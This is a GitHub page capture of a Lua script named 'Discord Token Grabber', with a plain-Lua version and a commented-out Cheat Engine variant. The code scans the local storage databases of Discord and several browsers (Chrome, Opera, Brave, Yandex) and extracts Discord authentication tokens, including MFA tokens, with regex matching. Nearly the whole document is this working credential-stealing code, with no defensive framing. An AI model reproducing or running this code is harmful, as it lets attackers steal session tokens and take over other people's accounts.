-
Notifications
You must be signed in to change notification settings - Fork 1
/
Discord Token Grabber.lua
106 lines (91 loc) · 3.24 KB
/
Discord Token Grabber.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
-- NORMAL LUA
function get_discord_tokens()
local roaming=os.getenv('appdata')
local lappd=os.getenv('localappdata')
local listDirectory=function(path)
local get=io.popen('dir "'..path..'" /b'):read('*a'):sub(1, -2)
local files={}
for file in get:gmatch('[^\r\n]+') do
files[#files+1]=path..'\\'..file
end
return files
end
local PATHS = {
roaming..'\\Discord',
roaming..'\\discordcanary',
roaming..'\\discordptb',
lappd..'\\Google\\Chrome\\User Data\\Default',
roaming..'\\Opera Software\\Opera Stable',
lappd..'\\BraveSoftware\\Brave-Browser\\User Data\\Default',
lappd..'\\Yandex\\YandexBrowser\\User Data\\Default'
}
local tokens={}
-- MAIN
for _,path in ipairs(PATHS) do
path=path..'\\Local Storage\\leveldb\\'
local flist=listDirectory(path)
if #flist>0 then
for _,file in ipairs(flist) do
if file:find('%.ldb') then
local open=io.open(file,'rb')
local read=open:read('*a')open:close()
for ntok in read:gmatch('"[%w-]+%.[%w-]+%.[%w-]+"') do
ntok=ntok:sub(2,-2)
if #ntok>=59 then
tokens[#tokens+1]=ntok
end
end
for mfatok in read:gmatch('"mfa%.[%w-]+"') do
mfatok=mfatok:sub(2,-2)
if #mfatok>=88 then
tokens[#tokens+1]=mfatok
end
end
end
end
end
end
return tokens
end
--[[ CELUA
function get_discord_tokens()
local roaming=os.getenv('appdata')
local lappd=os.getenv('localappdata')
local PATHS = {
roaming..'\\Discord',
roaming..'\\discordcanary',
roaming..'\\discordptb',
lappd..'\\Google\\Chrome\\User Data\\Default',
roaming..'\\Opera Software\\Opera Stable',
lappd..'\\BraveSoftware\\Brave-Browser\\User Data\\Default',
lappd..'\\Yandex\\YandexBrowser\\User Data\\Default'
}
local tokens={}
-- MAIN
for _,path in ipairs(PATHS) do
path=path..'\\Local Storage\\leveldb\\'
local flist=getFileList(path)
if #flist>0 then
for _,file in ipairs(flist) do
if file:find('%.ldb') then
local open=io.open(file,'rb')
local read=open:read('*a')open:close()
for ntok in read:gmatch('"[%w-]+%.[%w-]+%.[%w-]+"') do
ntok=ntok:sub(2,-2)
if #ntok>=59 then
tokens[#tokens+1]=ntok
end
end
for mfatok in read:gmatch('"mfa%.[%w-]+"') do
mfatok=mfatok:sub(2,-2)
if #mfatok>=88 then
tokens[#tokens+1]=mfatok
end
end
end
end
end
end
return tokens
end
]]